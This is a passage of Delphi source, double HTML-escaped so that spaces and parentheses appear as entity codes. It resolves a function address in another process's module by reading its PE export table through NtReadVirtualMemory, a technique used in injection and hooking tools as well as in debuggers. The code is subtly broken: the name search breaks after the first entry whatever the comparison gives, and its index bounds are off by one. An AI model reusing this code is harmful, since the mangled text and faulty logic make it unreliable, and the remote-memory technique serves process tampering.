/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionNameBuffer:=GetMemory(FunctionNameLength+1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(FunctionNameBuffer&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IndexName:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddressOfNames:=(Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfNames&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (IndexName&lt;=ExportDirectory.NumberOfNames&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NtStatus:=NtReadVirtualMemory(ProcessHandle, (Pointer(Cardinal(AddressOfNames&amp;#41;+IndexName*(SizeOf(DWORD&amp;#41;&amp;#41;&amp;#41;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@NameRVA, (SizeOf(NameRVA&amp;#41;&amp;#41;, @ReturnLength&amp;#41;+(NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+NameRVA&amp;#41;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionNameBuffer, (FunctionNameLength+1&amp;#41;, @ReturnLength&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if NtStatus=STATUS_SUCCESS then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if StrCmp(FunctionName, (PAnsiChar(FunctionNameBuffer&amp;#41;&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(IndexName&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMemory(FunctionNameBuffer&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtStatus&lt;&gt;STATUS_SUCCESS&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddressOfNameOrdinals:=(Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfNameOrdinals&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtReadVirtualMemory(ProcessHandle, (Pointer(Cardinal(AddressOfNameOrdinals&amp;#41;+IndexName*SizeOf(WORD&amp;#41;&amp;#41;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@FunctionIndex, (SizeOf(FunctionIndex&amp;#41;&amp;#41;, @ReturnLength&amp;#41;&lt;&gt;STATUS_SUCCESS&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else // Если импорт по ординалу. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionOrdinal:=(Cardinal(FunctionName&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FunctionOrdinal&lt;ExportDirectory.Base&amp;#41;or(FunctionOrdinal&gt;=ExportDirectory.Base+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportDirectory.NumberOfFunctions&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionIndex:=(FunctionOrdinal-ExportDirectory.Base&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FunctionIndex&lt;=0&amp;#41;or(FunctionIndex&gt;=ExportDirectory.NumberOfFunctions&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionRVA:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+Cardinal(ExportDirectory.AddressOfFunctions&amp;#41;+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionIndex*(SizeOf(DWORD&amp;#41;&amp;#41;&amp;#41;&amp;#41;, @FunctionRVA, (SizeOf(FunctionRVA&amp;#41;&amp;#41;, @ReturnLength&amp;#41;=STATUS_SUCCESS&amp;#41;and(FunctionRVA&lt;&gt;0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionAddress:=(Pointer(BaseAddress+FunctionRVA&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Cardinal(FunctionAddress&amp;#41;&gt;ExportAddress.VirtualAddress&amp;#41;and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(Cardinal(FunctionAddress&amp;#41;&lt;=ExportAddress.VirtualAddress+ExportAddress.Size&amp;#41; then // Если указатель на адрес функции не лежит в пределах таблицы экспорта. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ForwardedExport:=(GetMemory(MAX_PATH&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(ForwardedExport&amp;#41; then &lt;br 